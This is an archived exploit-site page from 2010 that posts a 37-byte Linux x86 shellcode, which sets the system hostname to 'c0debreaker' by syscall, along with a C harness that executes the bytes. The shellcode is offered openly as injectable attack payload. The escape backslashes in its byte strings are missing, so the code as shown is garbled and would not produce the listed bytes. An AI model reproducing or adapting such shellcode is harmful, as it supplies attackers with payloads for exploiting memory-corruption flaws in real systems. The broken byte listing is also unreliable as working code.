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linux/x86 sethostname to "c0debreaker" shellcode 3

Posted on 06 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 sethostname to &quot;c0debreaker&quot; shellcode 37 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================================
linux/x86 sethostname to &quot;c0debreaker&quot; shellcode 37 bytes
=========================================================


/*
Title  : sethostname to &quot;c0debreaker&quot; linux shellcode .
Name   : 37 bytes sethostname to &quot;c0debreaker&quot; linux .
Date   : Fri Aug  6 21:41:20 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include &lt;stdio.h&gt;

char shellcode[] =
		&quot;xebx13&quot;                    /* jmp    0x8048075 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x4a&quot;                    /* mov    $0x4a,%al */
		&quot;x5b&quot;                        /* pop    %ebx */
		&quot;x31xc9&quot;                    /* xor    %ecx,%ecx */
		&quot;xb1x0b&quot;                    /* mov    $0xb,%cl */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;x31xc0&quot;                    /* xor    %eax,%eax */
		&quot;xb0x01&quot;                    /* mov    $0x1,%al */
		&quot;x31xdb&quot;                    /* xor    %ebx,%ebx */
		&quot;xcdx80&quot;                    /* int    $0x80 */
		&quot;xe8xe8xffxffxff&quot;        /* call   0x8048062 */
		&quot;x63x30&quot;                    /* arpl   %si,(%eax) */
		&quot;x64x65x62x72x65&quot;        /* bound  %esi,%fs:%gs:0x65(%edx) */
		&quot;x61&quot;                        /* popa    */
		&quot;x6b&quot;                        /* .byte 0x6b */
		&quot;x65&quot;                        /* gs */
		&quot;x72&quot;;                       /* .byte 0x72 */
		

int main(void)
{
		fprintf(stdout,&quot;[*] Shellcode length: %d
&quot;,strlen(shellcode));
		((void (*)(void)) shellcode)();
	
		return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-06]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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